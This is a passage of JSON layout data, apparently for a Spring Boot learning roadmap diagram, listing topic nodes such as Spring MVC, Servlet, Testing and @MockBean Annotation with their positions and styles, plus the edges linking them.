},\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.8618127280065,\n        \"y\": 1008.2633845627711\n      }\n    },\n    {\n      \"id\": \"6sLE6gb5Y477SmO2GhQIG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 206.8618127280065,\n        \"y\": 1008.2633845627711\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Eureka\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 206.8618127280065,\n        \"y\": 1008.2633845627711\n      }\n    },\n    {\n      \"id\": \"S-BbOoRD7anvoJrprjoKF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 1216.5088543799602\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spring MVC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7Qqrh_Rz_7uAD49g9sDzi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 1216.5088543799602\n      }\n    },\n    {\n      \"id\": \"35NTx2eO1j02sjy4m6DPq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1162.1076554015908\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Servlet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i77NTa0hpGGBjmql9u_CT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1162.1076554015908\n      }\n    },\n    {\n      \"id\": \"Lz0GPMiYzb30iFJdv1dL6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1215.1076554015908\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JSP Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sgA06Tu9Y4cEHtfI8CyLL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1215.1076554015908\n      }\n    },\n    {\n      \"id\": \"_vS_zdJZegZS6MIKAFyg8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1268.1076554015908\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sgA06Tu9Y4cEHtfI8CyLL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1268.1076554015908\n      }\n    },\n    {\n      \"id\": \"sgA06Tu9Y4cEHtfI8CyLL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1321.1076554015908\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6sLE6gb5Y477SmO2GhQIG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 277\n      },\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -704.3054618325863,\n        \"y\": 1321.1076554015908\n      }\n    },\n    {\n      \"id\": \"7Qqrh_Rz_7uAD49g9sDzi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.3175069304428,\n        \"y\": 1326.5562767322235\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZWFWkB61L8UbG-SREw6SJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 248\n      },\n      \"measured\": {\n        \"width\": 228,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.3175069304428,\n        \"y\": 1326.5562767322235\n      }\n    },\n    {\n      \"id\": \"Nhx2QiSD_4pVWD17lsCbu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.5539544766211,\n        \"y\": 1270.7911348223495\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"JPA Test\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i77NTa0hpGGBjmql9u_CT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 162\n      },\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 24.5539544766211,\n        \"y\": 1270.7911348223495\n      }\n    },\n    {\n      \"id\": \"5d1BERqTKNJMKiBcqa8Ie\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 185.5539544766211,\n        \"y\": 1270.7911348223495\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mock MVC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i77NTa0hpGGBjmql9u_CT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 162\n      },\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 185.5539544766211,\n        \"y\": 1270.7911348223495\n      }\n    },\n    {\n      \"id\": \"p91CaVPh5GMzFU0yEU_hl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.5539544766211,\n        \"y\": 1325.2397561529822\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"@SpringBootTest Annotation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i77NTa0hpGGBjmql9u_CT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 298\n      },\n      \"measured\": {\n        \"width\": 298,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 24.5539544766211,\n        \"y\": 1325.2397561529822\n      }\n    },\n    {\n      \"id\": \"i77NTa0hpGGBjmql9u_CT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.5539544766211,\n        \"y\": 1378.2397561529822\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"@MockBean Annotation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sgA06Tu9Y4cEHtfI8CyLL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 298\n      },\n      \"measured\": {\n        \"width\": 298,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 24.5539544766211,\n        \"y\": 1378.2397561529822\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"WJtVLmJLvKk_vvqhFItZ2\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-WJtVLmJLvKk_vvqhFItZ2w2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WJtVLmJLvKk_vvqhFItZ2\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__WJtVLmJLvKk_vvqhFItZ2x2-C2N5yOxCtdn_R6ceWvQlyw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wV1_I_4czMIxpBionvLs4\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-wV1_I_4czMIxpBionvLs4y2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"QiNWE4sMTao3cVzjt3yPp\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-QiNWE4sMTao3cVzjt3yPpy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"PlUU_vzFQ3Xx6Z5XREIYP\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-PlUU_vzFQ3Xx6Z5XREIYPy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"C2EQ5J1aJYF9e9Rr2KysT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-C2EQ5J1aJYF9e9Rr2KysTy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"OB--nMudscm0p6RqqfA7T\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-OB--nMudscm0p6RqqfA7Ty1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HdCpfGMrMaXxk5QrtYn3X\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-HdCpfGMrMaXxk5QrtYn3Xy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"KdN62IpNgPFMndXfLaYa1\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-KdN62IpNgPFMndXfLaYa1y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WGf3W6bdWL0rK0o6O28G2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-WGf3W6bdWL0rK0o6O28G2y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yuXN-rD4AyyPYUYOR50L_\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-yuXN-rD4AyyPYUYOR50L_y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WrUCyVfFNUpHB8jyjjKna\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyz2-WrUCyVfFNUpHB8jyjjKnay1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jy2heDVZuM6ASCXlI1TDn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KaUdyVWEiZa6lUDRBlOKt\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__jy2heDVZuM6ASCXlI1TDnx2-C2N5yOxCtdn_R6ceWvQlyw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KaUdyVWEiZa6lUDRBlOKt\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ssdk2iAt4avhc8B5tnIzQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyy2-ssdk2iAt4avhc8B5tnIzQz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KaUdyVWEiZa6lUDRBlOKt\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"c7w7Z3Coa81FKa_yAKTse\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyy2-c7w7Z3Coa81FKa_yAKTsez1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KaUdyVWEiZa6lUDRBlOKt\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"p7t3RlIIm9U08GFC6azff\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyy2-p7t3RlIIm9U08GFC6azffz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KaUdyVWEiZa6lUDRBlOKt\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"1My7mbdwAbRcJoiA50pWW\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyy2-dd1A-MyzBs_kNOtVG7f1Dz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KaUdyVWEiZa6lUDRBlOKt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Vx7GXHYuM0ZOB9_ovS6sw\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__C2N5yOxCtdn_R6ceWvQlyx2-Vx7GXHYuM0ZOB9_ovS6sww1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Vx7GXHYuM0ZOB9_ovS6sw\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JrH2hiu27PhIO1VtrArMa\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Vx7GXHYuM0ZOB9_ovS6swx2-JrH2hiu27PhIO1VtrArMaw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ONb0VnSUMY8JBeW3G2mTp\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h5-HnycxfbJgwalSdXTAz\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__ONb0VnSUMY8JBeW3G2mTpy2-ZWFWkB61L8UbG-SREw6SJz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h5-HnycxfbJgwalSdXTAz\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"Ijmy0J3VyaeTGXtu2VkkQ\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__ZWFWkB61L8UbG-SREw6SJw2-dd1A-MyzBs_kNOtVG7f1Dx1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h5-HnycxfbJgwalSdXTAz\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"pvVLbFQoT50vz_VRK4VbJ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__h5-HnycxfbJgwalSdXTAzx2-ZWFWkB61L8UbG-SREw6SJw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pvVLbFQoT50vz_VRK4VbJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"6u08QN-pUeFm3o0h5Scfm\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__ZWFWkB61L8UbG-SREw6SJx2-6u08QN-pUeFm3o0h5Scfmw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pvVLbFQoT50vz_VRK4VbJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jU_KHoPUSU_HoIKk0ZpRF\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__pvVLbFQoT50vz_VRK4VbJz2-ZWFWkB61L8UbG-SREw6SJy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jU_KHoPUSU_HoIKk0ZpRF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"VWNDYSw83Vzi2UPQprJ5z\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__ZWFWkB61L8UbG-SREw6SJz2-VWNDYSw83Vzi2UPQprJ5zy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VWNDYSw83Vzi2UPQprJ5z\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"kqpSlO--X9-xYxfq1KFVe\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VWNDYSw83Vzi2UPQprJ5zw2-kqpSlO--X9-xYxfq1KFVex2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VWNDYSw83Vzi2UPQprJ5z\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"EKSXTMSN2xdaleJ4wOV1A\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__VWNDYSw83Vzi2UPQprJ5zx2-sgA06Tu9Y4cEHtfI8CyLLw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jU_KHoPUSU_HoIKk0ZpRF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"S-BbOoRD7anvoJrprjoKF\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__jU_KHoPUSU_HoIKk0ZpRFx2-7Qqrh_Rz_7uAD49g9sDziw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"S-BbOoRD7anvoJrprjoKF\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Lz0GPMiYzb30iFJdv1dL6\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7Qqrh_Rz_7uAD49g9sDziy2-Lz0GPMiYzb30iFJdv1dL6z2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"S-BbOoRD7anvoJrprjoKF\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_vS_zdJZegZS6MIKAFyg8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        